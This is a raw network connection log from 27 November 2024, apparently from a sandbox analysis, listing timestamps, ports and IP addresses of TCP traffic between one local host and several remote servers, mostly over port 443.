Nov 27, 2024 11:14:23.357115984 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.357142925 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.357706070 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.357709885 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.402671099 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.402683020 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.403101921 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.403107882 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.452217102 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.492811918 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.531831026 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.531840086 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.532294989 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.532299995 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.606748104 CET	443	49734	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.606812000 CET	443	49734	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.607086897 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.708250999 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.708323956 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.708477974 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.741854906 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.741954088 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.742105961 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.754106998 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.754139900 CET	443	49734	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.786324024 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.786371946 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.786386013 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.786392927 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.788770914 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.788795948 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.788817883 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.788825989 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.794476032 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.794527054 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.794586897 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.794724941 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.794733047 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.794795036 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.795141935 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.795150042 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.795299053 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.795327902 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.795346022 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.795500994 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.795905113 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.795914888 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.796180964 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.796196938 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.796399117 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.796407938 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.797173977 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:23.797188997 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:23.906399965 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.906465054 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.906544924 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.934871912 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.934899092 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.934911013 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.934916973 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.196923018 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.196959972 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.197072029 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.198282003 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.198324919 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.198379993 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.198561907 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.198589087 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.198628902 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.202020884 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.202056885 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.202186108 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.202712059 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.202724934 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.202972889 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.202987909 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.203385115 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.203408003 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.203593969 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:24.203609943 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:24.327724934 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:24.327771902 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:24.327838898 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:24.328450918 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:24.328465939 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:25.243226051 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:25.243263006 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:25.243331909 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:25.243681908 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:25.243697882 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:25.537942886 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.537957907 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.538412094 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.538414001 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.538430929 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.538433075 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.539520979 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.539544106 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.539580107 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.540112972 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.540740967 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.540807009 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.541047096 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.541404009 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.541455984 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.541639090 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.541646957 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.541747093 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.541812897 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.542186975 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.542193890 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.542535067 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.542617083 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.543468952 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.543468952 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.543525934 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.543595076 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.586393118 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.586637974 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.586652994 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.587716103 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.588002920 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.589673042 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.589673042 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.589729071 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.611589909 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:25.611674070 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:25.647533894 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.647551060 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.647597075 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.647634029 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.647641897 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.710011959 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.733001947 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.741358042 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.741358042 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.741377115 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.741391897 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.804539919 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.804546118 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.893619061 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.893706083 CET	443	49742	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:25.893914938 CET	49742	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:25.953233004 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.953269005 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.953337908 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.953491926 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.953516960 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.954459906 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.954504967 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.954545021 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.954574108 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.965730906 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.965753078 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.965992928 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.965996981 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.966006041 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.966025114 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.968342066 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.968362093 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.970514059 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.974394083 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:25.974409103 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:25.983047009 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.983679056 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.983694077 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.984321117 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.984359026 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.984364033 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.984575033 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.984697104 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.984708071 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.985230923 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.985234976 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.985532045 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.985541105 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:25.985985041 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:25.985989094 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.068355083 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.077972889 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.077972889 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.077986002 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.078001022 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.177248001 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.177324057 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.177820921 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.192194939 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.192209959 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.192239046 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.192245960 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.197096109 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.197119951 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.197431087 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.197431087 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.197457075 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.380826950 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.380970001 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.381021976 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.399435997 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.399499893 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.399538994 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.399544001 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.399565935 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.399601936 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.399607897 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.416789055 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.416831017 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.416836977 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.416845083 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.416888952 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.420974016 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.427882910 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.427942038 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.427997112 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.428544044 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.428596973 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.428646088 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.429608107 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.429657936 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.429764032 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.431555033 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.431596994 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.431607962 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.432892084 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.432913065 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.432936907 CET	49747	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.432945013 CET	443	49747	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.434768915 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.434787989 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.434799910 CET	49746	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.434807062 CET	443	49746	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.435595036 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.435595036 CET	49749	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.435611963 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.435626030 CET	443	49749	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.441306114 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.441426992 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.441464901 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.463907003 CET	49744	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.463933945 CET	443	49744	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.473691940 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.473725080 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.473776102 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.476349115 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.476388931 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.476473093 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.477451086 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.477461100 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.478971958 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.478986979 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.480890989 CET	49761	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.480926037 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.480977058 CET	49761	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.481306076 CET	49761	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.481321096 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.481519938 CET	49743	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.481537104 CET	443	49743	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.522027016 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.522100925 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.522156954 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.551400900 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.551400900 CET	49748	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.551414967 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.551428080 CET	443	49748	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.564980030 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.565009117 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.589423895 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.589488983 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.589509010 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.604180098 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.604291916 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.604300022 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.604314089 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.604377985 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.610918045 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.620058060 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.620111942 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.620129108 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.634742975 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.634834051 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.634841919 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.647452116 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.647525072 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.647531986 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.660203934 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.660267115 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.660278082 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.673517942 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.673578978 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.673592091 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.686700106 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.686764956 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.686773062 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.705801964 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.705892086 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.705899954 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.712018013 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.712100029 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.712105989 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.742851019 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:26.742944002 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:26.758646011 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:26.758662939 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:26.759247065 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:26.786910057 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.786977053 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.786988020 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.790024996 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.790107965 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.790113926 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.801692009 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.801759005 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.801770926 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.804872990 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.804929018 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.804935932 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.813241959 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.813302994 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.813309908 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.819292068 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.819346905 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.819354057 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.824863911 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.824918032 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.824924946 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.832170010 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.832230091 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.832238913 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.835639000 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.835688114 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.835695982 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.835700989 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.835747004 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.843825102 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.853456020 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.853513002 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.853540897 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.863234997 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.863300085 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.863306046 CET	443	49741	142.250.181.68	192.168.2.6
